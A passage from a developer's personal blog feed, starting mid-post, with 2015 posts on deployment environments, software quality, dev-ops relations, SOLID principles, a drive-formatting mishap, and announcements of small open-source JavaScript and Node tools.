<p>A great way to demonstrate this may be to use this blog as a comparison. As a blogger, I write my code on my computer in a web browser. The computer and web browser I’m using is my local environment. The blogger editor I’m using is from google, on their servers. That tool is my development environment. Blogger lets me click “preview” and see my blog post as it would look when published. That is my test environment, which since I don’t have testers doubles as my QA environment. I don’t release multiple versions of my blog posts, so I don’t have a beta evironment. And what you’re reading right now is my production environment.</p>
<h3 id="why-would-i-need-all-that">Why would I need all that?</h3>
<p>You don’t. Many companies don’t have half or more of these. Moreover, it’s important to understand that most companies mix up the names. I can’t name the number of companies that used their “Staging” environment for QA. Very few companies have need for a Beta environment: Netflix, Twitter, Google. Even less companies I know of have all three of Dev, Test, and QA. Usually they mix either Dev and Test, or Test and QA. And often, as above, Test and QA are mixed into one environment called “Staging” and there is no other Staging environment.</p>
<h4 id="so-how-do-i-know-what-i-need">So how do I know what I need?</h4>
<p>Expand as you go. Like you do with the company, as the complexity and needs grow, so does your development team, and so does your need for environments. I’m currently working on an application with one other developer and 2 testers/users. Always paranoid about quality, I have 2 environments currently: Local and Test. I have no need for a Production environment yet, as the application is not yet finished. That said, the complexity of the Test environment, and it’s use has grown to the point that I think it’s time to add another environment. Because my “users” are using the Test environment to insert data that I plan to later use in Production, I’m converting my Test environment to Staging, and creating a Development environment that is separate from my Local environment so that I can verify things work a bit better without breaking the functionality my users need.</p>
<h4 id="whats-right-for-me">What’s right for me?</h4>
<p>There is no perfect choice. In fact, while this list is somewhat comprehensive, I’m not perfect and there are probably other environments people use that I’m unaware of. More than that, some of these environments might split out into multiples. Perhaps you have a Staging for Production and a Staging for Beta. Perhaps you have a Beta for each new feature you want to test. Perhaps you have one Development environment per developer, one Test environment per new feature. What you need depends on your team and your functional needs. It’s up to you what works best for your team, but it’s important to know what’s out there, and that’s what this post is all about.</p>
<p>Other environments you know about? Let me know in the comments.</p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-31226298535074307962015-09-08T16:17:00.001-04:002015-09-08T16:17:45.735-04:00The construction parable<p>I talk a lot about testing on this site. Part of that’s because I don’t know what I’m doing all the time, and part of it’s because I’m an <a href="http://blog.teamtreehouse.com/the-programmers-virtues">egotistical developer</a> and getting things right is important to me. The problem here is that tests aren’t what I want. They’re an attempt at a solution to a bigger problem. So this post is about that much bigger problem.</p>
<h2 id="metrics-suck">Metrics suck</h2>
<p>Let me start by pointing out that there are 0 good metrics in this industry. If you built <a href="https://www.codacy.com">some</a> <a href="https://travis-ci.org/">tool</a> <a href="">that</a> <a href="https://www.bithound.io/">does</a> <a href="https://codeclimate.com/">metrics</a>, you might not like hearing it, but it’s completely true. Part of it is our fault, and part of it is a general lack of education. Here’s how this works in another industry where we build things.</p>
<h4 id="the-construction-parable">The construction parable</h4>
<p>Say you hire a construction contractor to build your home. You’re a savvy buyer and you shop around, so you get a really good deal. Along the way you notice that buying the most expensive contractor costs 3 times as much as you’re paying and you wonder how he gets any business at all. The contractor comes in and works on your house for a while. As is expected with the lowest bidder, there are some delays, but you don’t stress about it. Even with the extra hours you’re still getting a good deal. You drop by the site of your new home to check on progress and you realize that he underestimated. There’s not even a frame up yet. You theorize that this is going to take much longer than even his current estimate. It’s going to end up costing more than the next lowest bidder now. Time to shop around again.</p>
<p>So you take another look at the highest bidder. What’s he doing different? Does he never have a project run over budget? He is a dick. He tells you that you have to pay him just to come out and take a look at the project. He won’t even give you a vague estimate. You pay for him to come out. The way you see it, you’ll need to know what your current guy is falling behind on anyway, so maybe you can use this information to negotiate more effectively. His jaw drops when he takes a look at the property. “I’ve never seen that before” he says smiling as he looks at you unfinished building. He finishes looking around and comes over to you and says “We’re going to have to start over. It’ll cost you extra because I have to tear all this down.”</p>
<p>What?! This guy has spent 5 minutes here and he’s telling you that all the money you spent was wasted and that he is going to <strong>raise</strong> his already absurdly high price. “Why?” you ask, perturbed by his non-chalant nature. He pulls a tool out of his belt. You know this tool. It’s a level. Everybody knows how to use a level. This guy’s not that smart. You know that you just look at the bubble and get it between the lines. He walks over to the half-finished building and places the level down on the concrete. “Your foundation’s not level.” He says, motioning to the tool. You bend over and squint. He’s right. He’s going to have to pull out big equipment to tear up this concrete and replace it. You begrudgingly grab your checkbook and work your way onto his already overbooked schedule.</p>
<h4 id="thats-not-how-it-works-in-software-development">That’s not how it works in software development</h4>
<p>In our industry, it’s very very different. Here’s how that goes. If you’re the guy who knows good software when you work with it, it’s not easily identifiable after a five minute walkthrough. It takes months sometimes. Then, when you can identify it, it’s hard to describe simply to your employer. You can’t show them on a tool they understand, like a level. There is no simple way to show people that you need to rebuild things from scratch. Given that, your employer’s not likely to grab his or her checkbook.</p>
<p>It’s worse than that though. Because there’s no simple explanation, there’s not an easy way for an employer to identify the best hire from the worst. This means you’re not able to charge 3x more even if you’re a <a href="http://programmers.stackexchange.com/questions/179616/a-good-programmer-can-be-as-10x-times-more-productive-than-a-mediocre-one">10x developer</a>. It doesn’t stop at pay though. You can’t even convince the guy that you need to tear it down and start over. After all, that’ll take longer and cost more money. So instead you’re doomed to a job where try to prop up a broken frame with toothpicks while users constantly demand better/faster/newer features.</p>
<p>Sadly, it doesn’t stop there either. Because there’s no simple way to show your employer good code from bad, there’s also no simple way to show your employer good programmers from bad ones. You can find yourself in a room arguing with someone who never writes good code, on a topic where he/she is completely wrong and still have your employer side with him/her. This further perpetuates the problem above, because now he may be the higher paid contract to purchase and people will take his word over yours, even if you’re right!</p>
<p>The downside here is that, with something like construction, if you work for one place and do a crappy enough job, they take away your certification and no one will hire you. In development, if you do a crappy job (for very high pay at the moment because of the ridiculous demand) you can still go to the next place and try again.</p>
<h4 id="but-this-is-our-fault">But this is our fault</h4>
<p>I said it might be our fault. It is. We don’t explain things to people. Programmers are notoriously short on patience. I can remember my first time being told what a shell was, trying to log on to an existing one that someone linked me to and asking “what is this, I’m lost” only to be kick-banned with little more than an “lol”. But patience isn’t our only weakness.</p>
<p>We’re also liars. With the patience we lack, comes our human desire for childish pranks. There are probably some of you out there that have convinced your boss that you spent the last month working on “the flux capacitor” just to see if he’d buy it. Heck, it’s so prevalant that those sort of pranks are now <a href="https://www.youtube.com/watch?v=iDbyYGrswtg">put on TV</a>.</p>
<p>And people are imperfect. Some programmers have taken that pranking a step further and chosen to go the less “harmless” route. They use lies like that to justify spending too much time on a project. A 16 year old kid can lie to a 45 year old man’s face because the programming knowledge is so specific and compartmentalized. It’s impossible for us to determine any of this without a decent tool.</p>
<h4 id="its-a-lack-of-education">It’s a lack of education</h4>
<p>The truth is, it could all be solved if everyone everywhere was given a basic understanding of programming. They need to be able to use the basic tools, much like we can all use a level. It’s not something that will happen quickly or come easily, but it is a simple way to fix this problem. It’s also largely due to a culture problem. Learning about computers, even as prevalent as they are, is still seen as nerdy and uncool. If we want people to understand things, then they have to be included, and they have to be a part of the club–which also means the club needs to be less lame.</p>
<h4 id="how-can-we-fix-it">How can we fix it?</h4>
<p>To be honest, I don’t know the answer as to how to fix this. I know that what we need is easier to use tools that people are educated in how to use. I don’t know what that is, but I’m going to keep looking.</p>
<ul>
<li>The <a href="http://makezine.com/">maker movement</a> is going a long way toward expanding education about electronics and software, but it also results in more low quality products and low quality developers.</li>
<li>The FCC is <a href="http://hackaday.com/2015/08/31/fcc-introduces-rules-banning-wifi-router-firmware-modification/">trying to fix it</a> by regulating the things you can do with your own electronics</li>
<li>There are now companies offering to <a href="http://www.swqual.com/">certify your code</a>, but how do we know what the quality of their certification ability is? Half the time, their real goal is to sell us their team of developers instead of our own anyway.</li>
</ul>
<p>So lots of people are trying new things. <a href="http://eedevsln.com/">My company</a> is going to attempt to offer option 3. I’m a <a href="https://careers.stackoverflow.com/edward-winslow">maker myself</a>, doing option 1, which sort of precludes me from wanting option 2… So everyone’s trying to fix it. Now we just need to actually solve the problem. Ideas? Comment below.</p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-72076622008907370282015-07-31T15:11:00.001-04:002015-07-31T15:11:26.510-04:00Dev v Ops<p>When we think about programming, we think about source code. Scenes from the matrix come to mind, with streaming source code everywhere. We think about files, and databases. We think about architecture diagrams and class structures. We think about good practices and code patterns.</p>
<h4 id="we-rarely-think-about-deployment">We rarely think about deployment</h4>
<p>As a developer who has routinely deployed his own applications I know what it means to be in the Operations role. I know that sometimes hardware breaks. Sometimes time-zones are incorrect. Sometimes processors get overloaded. Sometimes (nearly always) your test environment isn’t the same as your production environment. Sometimes permissions break (ACL) or your middleware goes down (IIS) or your infrastructure has to be moved to the cloud (AWS) on the weekend.</p>
<p>It’s crazy being an Ops guy. I don’t envy the challenges they face. In fact, I hold their skill in high regard. But that’s not something I see a lot of developers do. In fact, more often than not, due to their opposing concerns, devs and ops tend to butt heads and scream at each other. What’s scary though, is that the ops guys are usually right, and rarely the winner of said argument.</p>
<h4 id="ops-have-legitimate-concerns">Ops have legitimate concerns</h4>
<p>I went a little extreme there. What I’m talking about was well articulated just this week by <a href="http://blog.codinghorror.com/doing-terrible-things-to-your-code/">Jeff Atwood</a>. Now don’t be surprised by that link. It’s not about Ops. It’s about testing. But here’s the part that really struck the point home.</p>
<blockquote>
<p>The machine that a program runs on will always be in the GMT time zone.</p>
<p>Ok, that’s not true. But at least the time zone in which a program has to run will never change.</p>
<p>Well, surely there will never be a change to the time zone in which a program has to run in production.</p>
<p>The system clock will always be set to the correct local time.</p>
<p>The system clock will always be set to a time that is not wildly different from the correct local time.</p>
</blockquote>
<p>Think about how that’s just a few of the things that Ops get into it with developers over. Is it the Ops guy’s responsibility to provide you with a server that does everything you expect? <em>Sure</em>. Is it his fault if you never tell him everything you expect? <em>Certainly not</em>. More than that, the Ops guys job is to create an environment that’s as reliable as it can be. That does not mean it will never go down. But many devs never consider the possibility of the environment collapsing while their code is executing.</p>
<h5 id="devs-want-control">Devs want control</h5>
<p>Devs have to manage many details in the code. Sometimes they are controlling every thread. Sometimes they’re running hundreds of thousands of database queries every second. Sometimes they’re pumping files to S3 in the terabytes in quantity. It’s insane the stuff we have to do. The tendency is to want to do it your way.</p>
<p>It gets crazy though. I’ve literally heard devs joke about 200+ gigabytes of RAM on VMs and go “meh, throw more RAM at it”. To an extent, our time is valuable and there needs to be an effort to limit the extra labor to enhance our code for optimization, but the other side of that is that there’s usually many less guys in Ops than in Dev.</p>
<h4 id="code-that-lasts">Code that lasts</h4>
<p>When I code, I have to remind myself of this little fact: If my code works well, there’s a good chance that it could be sitting for 10 years untouched. People don’t throw out things that work well. I mean, <a href="http://www.engadget.com/2015/06/14/amiga-controls-school-district-hvac/">that exact thing</a> was just in the news.</p>
<p>Think about that. Could your code run, untouched, without you tweaking it for 30 years? 20 years? 10 years? a year? <em>6 months?</em> Most devs, heck most <strong>organizations</strong> will tell you that the answer is no to all of these questions. To be honest, half the ones who tell you that the answer is yes are lying.</p>
<h4 id="devops-harmony">DevOps Harmony</h4>
<p>When I write code that lasts, I think differently about how I want it to work. I package my code up so it is a tiny ball that needs no attention. I create deployment code packages, something many Ops groups are still begging their developers to do to no avail. Why? Because it makes it easier on both of us. By having a simple process with very few steps for the Ops guy to follow, I ensure that my software doesn’t go down because of a deployment mistake. And the Ops guys love it because they know everything worked correctly.</p>
<p>More than that, handing deployments over to Ops lets me be lazy, and I love being lazy. I don’t have to sit up at 2am running the deployment script. The Ops guy does it. When I’m not allowed in production, they don’t call me, they call the Ops guy who has access.</p>
<p>I hope you agree, but if you don’t let me know why. Maybe I’m only seeing one side and I’d be interested to hear. Alternatively, if you do agree, be the change in your org and work toward harmony between yourself and the Ops team. It may well result in a better life.</p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-90607273277496653352015-07-19T00:19:00.003-04:002015-07-19T00:19:55.751-04:00wildstringI needed a wildcard processing tool for an application I was working on. I didn't want to use regular expressions, because the wildcard values were going in a configuration file, and regex would basically render them unreadable. So I looked around for a wildcard library for JS and couldn't find a decent one. In fact, when people asked for one, they generally were told "Learn Regular Expressions". While I completely agree that knowledge of regular expressions is an incredible boon to a programming career, my response to a problem is not to tell someone it can't be solved, so I wrote a library of may own<br />
<br />
<h2>
Introducing <a href="https://github.com/deltreey/wildstring">wildstring</a></h2>
<div>
wildstring does simple wildcard processing without any dependencies. It works both on the client and in the server, so you can use it anywhere. wildstring handles wildcard string processing simply. Here are some examples</div>
<div>
<br /></div>
<div>
<pre class="prettyprint lang-js">wildstring.match('Wild*', 'Wild Thing'); // returns true, because ' Thing' is matched by '*'
wildstring.replace('You make my heart *', 'string'); // returns 'You make my heart string' because * is replaced with string
wildstring.replace('You * everything *', [ 'make', 'groovy' ]); // returns 'You make everything groovy' because 'make' replaces the first * and 'groovy' replaces the second</pre>
</div>
<br />
<div>
It can also accept alternative wildcards.</div>
<pre class="prettyprint lang-js">wildstring.wildcard = '||';
wildstring.match("I || you", "I think I love you"); // true
wildstring.replace("You make my heart ||", "string"); // "You make my heart string"</pre>
<div>
And you can tell wildstring to ignore case when matching</div>
<pre class="prettyprint lang-js">wildstring.caseSensitive = false;
wildstring.match("Wild *", "wILD tHING"); // true</pre>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-15119952784399183932015-06-17T00:30:00.002-04:002015-06-17T00:30:51.365-04:00Stop Forum SpamFor years, I've used <a href="http://stopforumspam.com/">StopForumSpam.com</a> to find and prevent spammers from signing up for my web forums. I love the tool, and have almost a gigabyte of stored usernames, emails, and ip addresses in my personal download of their database stored over the years. Needless to say, I'm a huge fan.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjexNJFpYY1eM4N6dXor6V_mNxFn5NqLL2gJCsLaF0gApu1XB1JuZeuEL92_QiMp2bTA7ARNt7LPrPjclgVjJYibRM-VUsJDKYqNZvCm9aheCfE99r0GY6Fg7ZC5-Pl1x1CCzHEzM6Bx45B/s1600/sfs-2015-06-01.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjexNJFpYY1eM4N6dXor6V_mNxFn5NqLL2gJCsLaF0gApu1XB1JuZeuEL92_QiMp2bTA7ARNt7LPrPjclgVjJYibRM-VUsJDKYqNZvCm9aheCfE99r0GY6Fg7ZC5-Pl1x1CCzHEzM6Bx45B/s320/sfs-2015-06-01.PNG" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2 style="clear: both; text-align: left;">
So I made an API for it</h2>
<div>
<br /></div>
<div>
Introducing <a href="https://github.com/deltreey/stopforumspam">stopforumspam</a>, a nodejs wrapper for the REST API. I'm really happy to have made it, and I plan to use it myself very soon.</div>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-18165469548400617942015-06-01T09:33:00.000-04:002015-06-01T09:33:31.506-04:00Just do it MoreOn!A few weeks ago, I wanted to start a robotics project that would require close monitoring and realized...I didn't have any decent monitoring tools on my network. So I looked around at the monitoring tool ecosystem, and the only halfway decent tool was <a href="https://www.nagios.org/">Nagios</a>. I wanted something that would sit on my existing stack (with MongoDB as a backend) and wouldn't have to run on the servers it was monitoring. Moreover, I needed it to be able to run on a <a href="https://www.raspberrypi.org/">Raspberrry Pi</a>. So I built it myself.<div>
<br /></div>
<h2>
Introducing <a href="https://github.com/deltreey/moreon">MoreOn</a></h2>
<div>
MoreOn is a tool for Monitoring Remotely Over your Network. It uses SSH to tunnel into any server it can connect to and execute a command at a configurable interval. It runs on the <a href="http://mean.io/#!/">MEAN</a> <a href="http://meanjs.org/">stack</a>, making it super lightweight, and it has a fully functional REST API to access the data programmatically.</div>
<div>
<br /></div>
<div>
It installs easily too, letting you run it on any computer with <a href="https://nodejs.org/">NodeJS</a> and <a href="https://www.mongodb.org/">MongoDB</a>. This means you can spin it up on your computer just to check on data on your servers, or host it somewhere in order to see historical data.</div>
<div>
<br /></div>
<h2>
Plus, it's pretty!</h2>
<div>
It uses bootstrap for styles, so it looks great at any resolution.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-pt9a6HJQz2moYzXsyRigOqTFAhr0rG-V5MRuokFiy4fG-ct2BPHN7m0vTNPyoxCgJpzfyFIdQysmw6DkNvWLE9JwV903CNx0v8FtDPC5I-I6243mRGjzKVlwX_mTq62sTvAC3GOpqSAo/s1600/moreon-wide.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-pt9a6HJQz2moYzXsyRigOqTFAhr0rG-V5MRuokFiy4fG-ct2BPHN7m0vTNPyoxCgJpzfyFIdQysmw6DkNvWLE9JwV903CNx0v8FtDPC5I-I6243mRGjzKVlwX_mTq62sTvAC3GOpqSAo/s320/moreon-wide.PNG" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjucZp2JQE75aJ0fSL0tS2_h9RA1KbzB6eqaIjQ8QcaO4xGLKy-_7mpqeqlogPGIMJgUbJu6SNSfP3ubt6qLjShv6Ho2VM-cO64e-Xiomf55i3Fw3VQEEEn2EolZSckIGMp33s3ukQGNw18/s1600/moreon-medium.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjucZp2JQE75aJ0fSL0tS2_h9RA1KbzB6eqaIjQ8QcaO4xGLKy-_7mpqeqlogPGIMJgUbJu6SNSfP3ubt6qLjShv6Ho2VM-cO64e-Xiomf55i3Fw3VQEEEn2EolZSckIGMp33s3ukQGNw18/s320/moreon-medium.PNG" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuD1aYfWD5lSF2iq9r_wZAwHB5A0ufOPGrTwztqRHeq89NvMl954QQYEWvHgw836_KWuTb8ims8SFEROC2gG6eNkq7O0RKL5nwKEwQrGSUUASW-1vC7Uv5negkexKp60tjzYOwv9I-cuLR/s1600/moreon-small.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuD1aYfWD5lSF2iq9r_wZAwHB5A0ufOPGrTwztqRHeq89NvMl954QQYEWvHgw836_KWuTb8ims8SFEROC2gG6eNkq7O0RKL5nwKEwQrGSUUASW-1vC7Uv5negkexKp60tjzYOwv9I-cuLR/s320/moreon-small.PNG" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgPAhHoLyCuOb4TfIF3QKF1iGrxSpBWNOUcZVqPS-M-0SpqGmh0cWWhPYa3ALCLtozJWLbl0WwuRRcI0uFQG-CVUnqzzRrgoVN1R5CyvHgdMEg0A9TUv8-0eL-umHIs6pyLgp4eet1ktVD/s1600/moreon-xs.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgPAhHoLyCuOb4TfIF3QKF1iGrxSpBWNOUcZVqPS-M-0SpqGmh0cWWhPYa3ALCLtozJWLbl0WwuRRcI0uFQG-CVUnqzzRrgoVN1R5CyvHgdMEg0A9TUv8-0eL-umHIs6pyLgp4eet1ktVD/s320/moreon-xs.PNG" width="134" /></a></div>
<h2 style="clear: both; text-align: left;">
So how does it work?</h2>
<div>
So this tool leverages the power of SSH via <a href="https://github.com/MCluck90/simple-ssh">simple-ssh</a>. It uses your private key locally via an environment variable called SSH_KEY and can connect to any server that has your public key stored in it's authorized_keys file. <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2">Here's a tutorial on how you set that up</a>. Once those two things are working, all you have to do is add some servers.</div>
<div>
<br /></div>
<h2>
Does it Authenticate?</h2>
<div>
So MoreOn requires authentication currently for modifying any of the servers or scripts. It offers a local storage and google+ login if you take the time to <a href="https://developers.google.com/+/web/signin/reference">configure it</a>. I plan to add options to have everything require auth, and nothing in the future.</div>
<div>
<br /></div>
<h2>
How much is it?</h2>
<div>
MoreOn is and will always be free for anyone willing to learn enough to install it themselves. If you want the packaged software preinstalled for you though, let me know, and I'd be happy to discuss a price.</div>
<h2>
What else you got planned?</h2>
<div>
I have plans to setup the REST API to allow servers to send data to MoreOn, offering an alternative way to get data. Additionally, the whole reason is so I can watch some robotics, so I'll set up some scripts to have it connect to other REST APIs and of course to look at other kinds of data. Finally, I want to offer other display options and drill-downs in the UI. So there's definitely more to come.</div>
<div>
<br /></div>
<h2>
I want to help!</h2>
<div>
Well, sure. That's why it's open source and on <a href="https://github.com/deltreey/moreon">github</a>.</div>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-5306096529344963852015-04-07T00:23:00.003-04:002015-04-07T00:23:25.788-04:00One Heck of a WeekSo I've had one heck of a week. I had computer issues. Now, I'm a programmer, so computer issues for me are usually a shrug and fixed, but this took me a whole week, so I decided to share the kind of horrendous things that happened.<br />
<br />
<h2>
The lesson to be learned</h2>
<br />
First, there is a bit of explanation required. Over my years of programming, my main asset has been that I can get into "learning mode" where I follow instructions explicitly and don't worry so much about what each instruction is doing until it works and I can go back over it and figure out what the instructions had me do. This experience seems to have served to teach me that there is an inherent flaw in following instructions without thinking. In the future, while following instructions, I will try to remember to do so with caution.<br />
<br />
<h2>
How it all started</h2>
<br />
So it started with a rookie mistake. I was setting up a raspberry pi 2 with arch linux, and the instructions require you to use fdisk. What did I do? I formatted my hard drive of course. I thought originally that I had formatted my linux drive (my system was dual boot). It turns out I had formatted my base windows drive.<br />
<br />
<h2>
As if that wasn't enough</h2>
<br />
So things got wonkier from there. I recovered my linux drive's data, at which time my bios interface stopped working. My BIOS didn't stop working, as I could boot into linux, but I could not access the interface (which was configured for secure boot).<br />
<br />
<h2>
I even went old school</h2>
<br />
I recovered the windows drive in linux, but couldn't boot from it. I pulled apart the whole laptop and reset the CMOS chip and nothing changed. Just at my wits end, someone on StackExchange chat suggested I pull all the hard drives and see if the bios would show up. It didn't, but for some reason when I put the hard drives back in, the system decided to try to boot from the windows drive first instead of the linux drive. For some reason that action made the bios interface accessible again.<br />
<br />
<h2>
It fixed itself?</h2>
<br />
So I turned off secure boot, and plugged in my windows drive with the intent of making the recovery partition spit out the windows key. After several hours of fiddling, I caved and bought a new copy of windows 8. I tried one last time, calling MSI tech support to recover that key, The tech support guy suggested that I press F11 on boot (something I had read about as a way to brick your MSI, but I was in learning mode and didn't think)....which made my bios not work again. Thankfully, my machine was stuck with a boot order putting USB first. I popped in my shiny new windows install, formatted the other two SSDs and it's been working ever since.<br />
<br />
<h2>
$*%@&</h2>
<br />
I still can't access bios, but hey, you win some you lose some.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-2816644707997292832015-02-26T13:13:00.000-05:002015-02-26T13:13:08.955-05:00Programmers Don't Need to Know SOLIDA recent comment on a fairly old post was very adamant:<br />
<br />
<blockquote class="tr_bq">
<span style="background-color: #141414; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px; text-align: justify;">As a PROGRAMMER YOU MUST KNOW SOLID </span></blockquote>
<br />
This is completely and utterly wrong, in my opinion. I was simply going to reply, but I spent a lot of time trying to locate a blog post and the reply started to grow, so I decided to put it here.<br />
<br />
<h3>
SOLID is just a set of principles</h3>
<br />
The SOLID principles were created based on things good programmers were already doing. The principles in SOLID are a result of people trying to write good code; they are not a precursor to it. In other words, clean code comes naturally. SOLID is a good concept to understand, certainly, but there's a lot more out there than one acronym to know about, and whether or not you can memorize the principles that each of the letters represents has little effect on the quality of your code.<br />
<br />
Don't get me wrong, learning about them may help you to understand some concepts that make your code better, but memorizing anything in the programming world is....almost always a complete waste of time.<br />
<br />
<h3>
SHOULD, not MUST</h3>
<br />
As a programmer, you SHOULD write code that is maintainable and extendable (i.e. Readable). Note that I said SHOULD, not MUST. It is important to understand that all it takes to be a programmer is that you write programs. You can do that with little more than an understanding of how to copy and paste. That said, if you want to be a good programmer, as defined by your peers and managers, you will want to write good software, that does something useful, doesn't breakdown constantly, and is easy to change and improve upon.<br />
<br />
<h3>
SOLID isn't everything</h3>
<br />
Let me show you a list of principles and techniques on my resnume:<br />
<br />
<blockquote class="tr_bq">
<span style="background-color: black; color: #dddddd;">SOLID, DRY, YAGNI, KISS, Agile, Scrum, Extreme Programming, TDD, BDD, POCO, Code First, Lean, Normalization, Dependency Injection, Loose Coupling, Continuous Integration/Delivery/Deployment</span></blockquote>
<span style="background-color: black; color: #dddddd;"><br /></span>
SOLID is listed, of course, but it's just one of the many. More than that, notice how KISS is considered a programming principle. I'd consider it a general life principle, but that's what the world seems to care about these days. The reality is, it's not about any one specific thing, but about a general desire to write better code.<br />
<br />
From that desire you'll grow as a programmer, seek out knowledge of principles and techniques that will make you better, and your software better. The word for this is <b>passion,</b> and it's the most important trait I look for in my employees. In my opinion, passion is the one thing that separates a career that you love, from a job that you just get money for doing. Which brings me to the most important bit of this discussion.<br />
<br />
<h3>
Not everyone agrees with SOLID</h3>
<br />
Passion drives good programmers to improve constantly. We analyze what we've been doing and try different things to improve upon it. For example, <a href="http://blog.spinthemoose.com/2012/12/17/solid-as-an-antipattern/">this guy</a> argues that if you're not careful in how you implement the principles of SOLID, it can become an anti-pattern and make your code less maintainable, not more maintainable.<br />
<br />
In his drive to improve his code, <a href="http://www.adamtibi.net/06-2013/call-to-drop-the-open-closed-principle-from-solid">this guy</a> is discussing how the world of programming isn't what it was when SOLID was designed, and would like to remove the O entirely. That means you may end up with an interviewer asking you what the SLID principle is soon.<br />
<br />
And then there's <a href="http://qualityisspeed.blogspot.com/2014/08/why-i-dont-teach-solid.html">this expert</a>, who has been a SOLID advocate for years and has completely changed his mind, saying that it's not even good to teach it! He's started developing his own set of principles in <a href="http://qualityisspeed.blogspot.com.ar/2014/09/beyond-solid-dependency-elimination.html">his follow-up post</a>.<br />
<br />
<h3>
The software world is constantly changing</h3>
<div>
<br /></div>
I have said it before, but this sort of mentality makes me think it bears repeating: Technology is always changing. 10 years ago, the concept of server-side javascript was alien to most developers. 6 years ago, AngularJS was only used by Google. 6 months ago, Disney didn't have the dashboard I just built them (with the MEAN stack) that they now want to improve upon, which means the next dev they hire to look at that software will be working on my code, and have to understand how I did things.<br />
<br />
The developers who step into existing companies (startups don't have to worry about this) benefit from FLEXIBILITY, not rigidity. Mandating that no one can step through your door until they can recite some arbitrary line without looking at their notes (especially when that information is easily available on the net) is restricting yourself from hiring real talent. It makes your interview process into a <a href="http://deltreey.blogspot.com/2014/03/how-to-identify-skilled-programmer.html">game of luck</a>. Like roulette, you're going to lose most of the time.<br />
<br />
<h3>
This is about work after all</h3>
<br />
You need the passion, drive, and flexibility to be useful AFTER the company hires you. The company only cares about what you have done before to the extent that it means you can do something useful for them. That means that what you know walking in the door, is less important that what you learn after you enter.<br />
<br />
Don't memorize an arbitrary set of principles. Get a deep understanding of how to write clean, flexible, maintainable code. That's what really matters.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-87231399863880671092015-01-22T17:06:00.000-05:002015-01-22T17:06:30.151-05:00angular-multistageboxI was working on some character sheets for my gaming obsession recently and in trying to mimic the paper sheets I noticed that some boxes could be partially checked, then completely checked. This just wasn't possible anywhere I could find. I searched the internet for someone who had done this before, but alas I didn't find any...so...<br />
<br />
<h3>
I wrote one myself!</h3>
<div>
<br />
Introducing <a href="http://deltreey.github.io/angular-multistagebox/">angular-multistagebox</a></div>
<div>
It's like a checkbox, but it has more than two states. You can see a demo at the link above, and download via bower.</div>
<div>
<pre class="prettyprint">bower install angular-multistagebox
</pre>
</div>
<div>
Enjoy!</div>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0